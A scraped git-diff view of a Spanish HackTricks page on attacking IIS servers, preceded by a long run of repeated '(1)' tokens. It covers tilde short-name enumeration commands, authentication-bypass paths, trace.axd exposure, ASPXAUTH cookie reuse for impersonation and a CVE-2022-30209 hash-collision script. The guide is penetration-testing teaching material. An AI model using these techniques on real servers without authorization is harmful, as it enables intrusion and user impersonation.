(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
|
||||||
|
|
||||||
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
|
|
||||||
Para acceder a la página web, puedes echar un vistazo al **certificado SSL** proporcionado y tal vez puedas encontrar el nombre de dominio/subdominio allí. Si no está allí, es posible que necesites **forzar VHosts** hasta que encuentres el correcto.
|
|
||||||
|
|
||||||
## Viejas vulnerabilidades de IIS que vale la pena buscar
|
|
||||||
|
|
||||||
### Vulnerabilidad/Característica del carácter tilde "\~" de Microsoft IIS - Divulgación de nombre corto de archivo/carpeta
|
|
||||||
|
|
||||||
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere autenticación básica) utilizando esta **técnica**.\
|
|
||||||
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
|
|
||||||
|
|
||||||
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (183).png>)
|
|
||||||
|
|
||||||
Investigación original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
|
||||||
|
|
||||||
También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
|
|
||||||
|
|
||||||
### Bypass de autenticación básica
|
|
||||||
|
|
||||||
**Bypass** de autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
|
||||||
|
|
||||||
Puedes intentar **combinar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **bypass** la autenticación.
|
|
||||||
|
|
||||||
## Depuración habilitada de ASP.NET Trace.AXD
|
|
||||||
|
|
||||||
ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
|
|
||||||
|
|
||||||
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
|
|
||||||
|
|
||||||
Esta información incluye las direcciones IP remotas de los clientes, los ID de sesión, todas las cookies de solicitud y respuesta, las rutas físicas, la información del código fuente y potencialmente incluso los nombres de usuario y contraseñas.
|
|
||||||
|
|
||||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
|
||||||
|
|
||||||
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
|
|
||||||
|
|
||||||
## Cookie ASPXAUTH
|
|
||||||
|
|
||||||
ASPXAUTH utiliza la siguiente información:
|
|
||||||
|
|
||||||
* **`validationKey`** (cadena): clave codificada en hexadecimal para usar en la validación de firma.
|
|
||||||
* **`decryptionMethod`** (cadena): (por defecto "AES").
|
|
||||||
* **`decryptionIV`** (cadena): vector de inicialización codificado en hexadecimal (por defecto, un vector de ceros).
|
|
||||||
* **`decryptionKey`** (cadena): clave codificada en hexadecimal para usar en la descifrado.
|
|
||||||
|
|
||||||
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que está utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor atacado, es posible que puedas usar la cookie del segundo servidor en el primero y suplantar al usuario.\
|
|
||||||
Este ataque funcionó en este [**informe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
|
||||||
|
|
||||||
## Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
|
|
||||||
|
|
||||||
Un error en el código **no comprobó correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario ([informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)).
|
|
||||||
```python
|
```python
|
||||||
# script for sanity check
|
# script for sanity check
|
||||||
> type test.py
|
> type test.py
|
||||||
def HashString(password):
|
def HashString(password):
|
||||||
j = 0
|
j = 0
|
||||||
for c in map(ord, password):
|
for c in map(ord, password):
|
||||||
j = c + (101*j)&0xffffffff
|
j = c + (101*j)&0xffffffff
|
||||||
return j
|
return j
|
||||||
|
|
||||||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||||||
|
|
||||||
|
@ -393,9 +339,9 @@ HTTP/1.1 200 OK
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue